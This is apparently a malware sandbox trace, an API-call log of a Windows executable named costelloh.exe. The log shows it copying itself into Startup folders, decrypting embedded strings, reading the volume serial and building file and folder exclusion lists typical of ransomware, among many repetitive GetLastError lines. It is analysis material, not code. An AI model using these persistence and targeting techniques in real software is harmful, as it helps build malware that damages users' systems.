	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] GetLastError () returned 0x20
	[0212.018] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe"), lpNewFileName="c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe"), bFailIfExists=1) returned 0
	[0212.019] CopyFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe"), lpNewFileName="c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\costelloh.exe"), bFailIfExists=1) returned 0
	[0212.020] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25d58 | out: hHeap=0xd20000) returned 1
	[0212.020] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd254f8 | out: hHeap=0xd20000) returned 1
	[0212.020] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25710 | out: hHeap=0xd20000) returned 1
	[0212.020] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25928 | out: hHeap=0xd20000) returned 1
	[0212.020] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25b40 | out: hHeap=0xd20000) returned 1
	[0212.020] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21440 | out: hHeap=0xd20000) returned 1
	[0212.020] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd214d0 | out: hHeap=0xd20000) returned 1
	[0212.020] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25308 | out: hHeap=0xd20000) returned 1
	[0212.020] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd21440
	[0212.020] CryptImportKey (in: hProv=0x616790, pbData=0x1afc5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afcc4 | out: phKey=0x1afcc4*=0x645a78) returned 1
	[0212.020] CryptSetKeyParam (hKey=0x645a78, dwParam=0x1, pbData=0x1afcac, dwFlags=0x0) returned 1
	[0212.020] CryptDecrypt (in: hKey=0x645a78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21440, pdwDataLen=0x1afc78 | out: pbData=0xd21440, pdwDataLen=0x1afc78) returned 1
	[0212.020] CryptDestroyKey (hKey=0x645a78) returned 1
	[0212.021] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x1e) returned 0xd21468
	[0212.021] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x1e) returned 0xd21490
	[0212.021] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd214b8
	[0212.021] CryptImportKey (in: hProv=0x616790, pbData=0x1afc34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afc9c | out: phKey=0x1afc9c*=0x6458b8) returned 1
	[0212.021] CryptSetKeyParam (hKey=0x6458b8, dwParam=0x1, pbData=0x1afc84, dwFlags=0x0) returned 1
	[0212.021] CryptDecrypt (in: hKey=0x6458b8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd214b8, pdwDataLen=0x1afc50 | out: pbData=0xd214b8, pdwDataLen=0x1afc50) returned 1
	[0212.021] CryptDestroyKey (hKey=0x6458b8) returned 1
	[0212.021] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd214b8 | out: hHeap=0xd20000) returned 1
	[0212.021] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%\\", lpDst=0xd21468, nSize=0xf | out: lpDst="C:\\") returned 0x4
	[0212.021] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21490 | out: hHeap=0xd20000) returned 1
	[0212.021] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21440 | out: hHeap=0xd20000) returned 1
	[0212.021] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x1afd04, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x1afd04*=0xb4197730, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1
	[0212.021] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21468 | out: hHeap=0xd20000) returned 1
	[0212.021] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x28) returned 0xd21440
	[0212.021] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd21470
	[0212.021] CryptImportKey (in: hProv=0x616790, pbData=0x1afb6c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afbd4 | out: phKey=0x1afbd4*=0x645af8) returned 1
	[0212.021] CryptSetKeyParam (hKey=0x645af8, dwParam=0x1, pbData=0x1afbbc, dwFlags=0x0) returned 1
	[0212.021] CryptDecrypt (in: hKey=0x645af8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21470, pdwDataLen=0x1afb88 | out: pbData=0xd21470, pdwDataLen=0x1afb88) returned 1
	[0212.021] CryptDestroyKey (hKey=0x645af8) returned 1
	[0212.022] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd21488
	[0212.022] CryptImportKey (in: hProv=0x616790, pbData=0x1afb64, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afbcc | out: phKey=0x1afbcc*=0x645ef8) returned 1
	[0212.022] CryptSetKeyParam (hKey=0x645ef8, dwParam=0x1, pbData=0x1afbb4, dwFlags=0x0) returned 1
	[0212.022] CryptDecrypt (in: hKey=0x645ef8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd21488, pdwDataLen=0x1afb80 | out: pbData=0xd21488, pdwDataLen=0x1afb80) returned 1
	[0212.022] CryptDestroyKey (hKey=0x645ef8) returned 1
	[0212.022] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd214a0
	[0212.022] CryptImportKey (in: hProv=0x616790, pbData=0x1afb5c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afbc4 | out: phKey=0x1afbc4*=0x645f78) returned 1
	[0212.022] CryptSetKeyParam (hKey=0x645f78, dwParam=0x1, pbData=0x1afbac, dwFlags=0x0) returned 1
	[0212.022] CryptDecrypt (in: hKey=0x645f78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd214a0, pdwDataLen=0x1afb78 | out: pbData=0xd214a0, pdwDataLen=0x1afb78) returned 1
	[0212.022] CryptDestroyKey (hKey=0x645f78) returned 1
	[0212.022] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd214b8
	[0212.022] CryptImportKey (in: hProv=0x616790, pbData=0x1afb54, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afbbc | out: phKey=0x1afbbc*=0x645cb8) returned 1
	[0212.022] CryptSetKeyParam (hKey=0x645cb8, dwParam=0x1, pbData=0x1afba4, dwFlags=0x0) returned 1
	[0212.022] CryptDecrypt (in: hKey=0x645cb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd214b8, pdwDataLen=0x1afb70 | out: pbData=0xd214b8, pdwDataLen=0x1afb70) returned 1
	[0212.022] CryptDestroyKey (hKey=0x645cb8) returned 1
	[0212.022] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd252c0
	[0212.022] CryptImportKey (in: hProv=0x616790, pbData=0x1afb4c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afbb4 | out: phKey=0x1afbb4*=0x645ff8) returned 1
	[0212.022] CryptSetKeyParam (hKey=0x645ff8, dwParam=0x1, pbData=0x1afb9c, dwFlags=0x0) returned 1
	[0212.022] CryptDecrypt (in: hKey=0x645ff8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd252c0, pdwDataLen=0x1afb68 | out: pbData=0xd252c0, pdwDataLen=0x1afb68) returned 1
	[0212.022] CryptDestroyKey (hKey=0x645ff8) returned 1
	[0212.022] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd214d0
	[0212.022] CryptImportKey (in: hProv=0x616790, pbData=0x1afb44, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afbac | out: phKey=0x1afbac*=0x645cf8) returned 1
	[0212.022] CryptSetKeyParam (hKey=0x645cf8, dwParam=0x1, pbData=0x1afb94, dwFlags=0x0) returned 1
	[0212.022] CryptDecrypt (in: hKey=0x645cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd214d0, pdwDataLen=0x1afb60 | out: pbData=0xd214d0, pdwDataLen=0x1afb60) returned 1
	[0212.023] CryptDestroyKey (hKey=0x645cf8) returned 1
	[0212.023] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x60) returned 0xd214e8
	[0212.023] CryptImportKey (in: hProv=0x616790, pbData=0x1afb3c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afba4 | out: phKey=0x1afba4*=0x645978) returned 1
	[0212.023] CryptSetKeyParam (hKey=0x645978, dwParam=0x1, pbData=0x1afb8c, dwFlags=0x0) returned 1
	[0212.023] CryptDecrypt (in: hKey=0x645978, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd214e8, pdwDataLen=0x1afb58 | out: pbData=0xd214e8, pdwDataLen=0x1afb58) returned 1
	[0212.023] CryptDestroyKey (hKey=0x645978) returned 1
	[0212.023] htonl (hostlong=0xb4197730) returned 0x307719b4
	[0212.023] CryptGenRandom (in: hProv=0x616790, dwLen=0x20, pbBuffer=0x1afc98 | out: pbBuffer=0x1afc98) returned 1
	[0212.023] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x28) returned 0xd25358
	[0212.023] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd25388
	[0212.023] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4) returned 0xd21550
	[0212.023] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x14) returned 0xd253a0
	[0212.023] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd253c0
	[0212.024] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x80) returned 0xd253d8
	[0212.024] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd25460
	[0212.024] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x82) returned 0xd25478
	[0212.024] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd25508
	[0212.024] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4) returned 0xd25520
	[0212.024] CryptAcquireContextW (in: phProv=0x137fcf4, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x137fcf4*=0x6741f8) returned 1
	[0212.025] CryptGenRandom (in: hProv=0x6741f8, dwLen=0x55, pbBuffer=0x1afc02 | out: pbBuffer=0x1afc02) returned 1
	[0212.025] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd25530
	[0212.025] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x80) returned 0xd25548
	[0212.025] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd255d0
	[0212.025] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x2) returned 0xd255e8
	[0212.025] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4) returned 0xd255f8
	[0212.025] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd25608
	[0212.025] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x80) returned 0xd204a0
	[0212.026] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd20528
	[0212.026] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x4) returned 0xd20540
	[0212.026] RtlReAllocateHeap (Heap=0xd20000, Flags=0x0, Ptr=0xd255e8, Size=0x82) returned 0xd28550
	[0212.026] RtlReAllocateHeap (Heap=0xd20000, Flags=0x0, Ptr=0xd20540, Size=0x100) returned 0xd285e0
	[0212.026] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd287d0
	[0212.026] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x82) returned 0xd28cf0
	[0212.026] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd28710
	[0212.026] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x82) returned 0xd28d80
	[0212.026] RtlReAllocateHeap (Heap=0xd20000, Flags=0x0, Ptr=0xd28550, Size=0x104) returned 0xd28e10
	[0212.027] RtlReAllocateHeap (Heap=0xd20000, Flags=0x0, Ptr=0xd285e0, Size=0x200) returned 0xd28f20
	[0212.027] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd255f8 | out: hHeap=0xd20000) returned 1
	[0212.027] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28f20 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd20528 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25548 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25530 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd204a0 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25608 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28e10 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd255d0 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28cf0 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd287d0 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28d80 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28710 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd21550 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25388 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25478 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25460 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd253d8 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd253c0 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25520 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25508 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25358 | out: hHeap=0xd20000) returned 1
	[0212.028] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd253a0 | out: hHeap=0xd20000) returned 1
	[0212.028] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0xa4) returned 0xd204a0
	[0212.028] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x5a) returned 0xd28550
	[0212.028] RtlReAllocateHeap (Heap=0xd20000, Flags=0x0, Ptr=0xd28550, Size=0xb2) returned 0xd28550
	[0212.028] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x10) returned 0xd287d0
	[0212.028] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0xb40) returned 0xd28cf0
	[0212.028] CryptImportKey (in: hProv=0x616790, pbData=0x1afb34, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afb9c | out: phKey=0x1afb9c*=0x645fb8) returned 1
	[0212.028] CryptSetKeyParam (hKey=0x645fb8, dwParam=0x1, pbData=0x1afb84, dwFlags=0x0) returned 1
	[0212.028] CryptDecrypt (in: hKey=0x645fb8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28cf0, pdwDataLen=0x1afb50 | out: pbData=0xd28cf0, pdwDataLen=0x1afb50) returned 1
	[0212.028] CryptDestroyKey (hKey=0x645fb8) returned 1
	[0212.029] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20) returned 0xd20550
	[0212.029] CryptImportKey (in: hProv=0x616790, pbData=0x1afb2c, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afb94 | out: phKey=0x1afb94*=0x645af8) returned 1
	[0212.029] CryptSetKeyParam (hKey=0x645af8, dwParam=0x1, pbData=0x1afb7c, dwFlags=0x0) returned 1
	[0212.029] CryptDecrypt (in: hKey=0x645af8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd20550, pdwDataLen=0x1afb48 | out: pbData=0xd20550, pdwDataLen=0x1afb48) returned 1
	[0212.029] CryptDestroyKey (hKey=0x645af8) returned 1
	[0212.029] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd28610
	[0212.029] CryptImportKey (in: hProv=0x616790, pbData=0x1afb04, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afb6c | out: phKey=0x1afb6c*=0x645e78) returned 1
	[0212.029] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0x1afb54, dwFlags=0x0) returned 1
	[0212.029] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28610, pdwDataLen=0x1afb20 | out: pbData=0xd28610, pdwDataLen=0x1afb20) returned 1
	[0212.029] CryptDestroyKey (hKey=0x645e78) returned 1
	[0212.029] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x84) returned 0xd25358
	[0212.029] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x84) returned 0xd253e8
	[0212.029] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd25478
	[0212.029] CryptImportKey (in: hProv=0x616790, pbData=0x1afadc, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afb44 | out: phKey=0x1afb44*=0x645cf8) returned 1
	[0212.029] CryptSetKeyParam (hKey=0x645cf8, dwParam=0x1, pbData=0x1afb2c, dwFlags=0x0) returned 1
	[0212.029] CryptDecrypt (in: hKey=0x645cf8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd25478, pdwDataLen=0x1afaf8 | out: pbData=0xd25478, pdwDataLen=0x1afaf8) returned 1
	[0212.029] CryptDestroyKey (hKey=0x645cf8) returned 1
	[0212.029] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25478 | out: hHeap=0xd20000) returned 1
	[0212.074] ExpandEnvironmentStringsW (in: lpSrc="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys", lpDst=0xd25358, nSize=0x42 | out: lpDst="info.hta;info.txt;boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys") returned 0x42
	[0212.074] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd253e8 | out: hHeap=0xd20000) returned 1
	[0212.074] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28610 | out: hHeap=0xd20000) returned 1
	[0212.075] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x60) returned 0xd28610
	[0212.075] CryptImportKey (in: hProv=0x616790, pbData=0x1afb00, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afb68 | out: phKey=0x1afb68*=0x645e78) returned 1
	[0212.075] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0x1afb50, dwFlags=0x0) returned 1
	[0212.075] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd28610, pdwDataLen=0x1afb1c | out: pbData=0xd28610, pdwDataLen=0x1afb1c) returned 1
	[0212.075] CryptDestroyKey (hKey=0x645e78) returned 1
	[0212.075] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x8, Size=0x5c) returned 0xd28678
	[0212.075] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x5c) returned 0xd253e8
	[0212.075] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x90) returned 0xd25450
	[0212.075] CryptImportKey (in: hProv=0x616790, pbData=0x1afad8, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x1afb40 | out: phKey=0x1afb40*=0x645e78) returned 1
	[0212.075] CryptSetKeyParam (hKey=0x645e78, dwParam=0x1, pbData=0x1afb28, dwFlags=0x0) returned 1
	[0212.075] CryptDecrypt (in: hKey=0x645e78, hHash=0x0, Final=0, dwFlags=0x0, pbData=0xd25450, pdwDataLen=0x1afaf4 | out: pbData=0xd25450, pdwDataLen=0x1afaf4) returned 1
	[0212.075] CryptDestroyKey (hKey=0x645e78) returned 1
	[0212.075] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd25450 | out: hHeap=0xd20000) returned 1
	[0212.075] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows;Program Files;Program Files (x86);", lpDst=0xd28678, nSize=0x2e | out: lpDst="C:\\Windows;Program Files;Program Files (x86);") returned 0x2e
	[0212.075] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd253e8 | out: hHeap=0xd20000) returned 1
	[0212.075] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd28610 | out: hHeap=0xd20000) returned 1
	[0212.075] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20a) returned 0xd253e8
	[0212.075] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0x20a) returned 0xd29838
	[0212.075] GetModuleFileNameW (in: hModule=0x0, lpFilename=0xd29838, nSize=0x104 | out: lpFilename="C:\\Users\\FD1HVy\\AppData\\Local\\costelloh.exe" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\costelloh.exe")) returned 0x2b
	[0212.075] HeapFree (in: hHeap=0xd20000, dwFlags=0x0, lpMem=0xd29838 | out: hHeap=0xd20000) returned 1
	[0212.075] RtlAllocateHeap (HeapHandle=0xd20000, Flags=0x0, Size=0xb38) returned 0xd29838
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.076] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.077] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.078] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.079] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
	[0212.080] GetLastError () returned 0x0
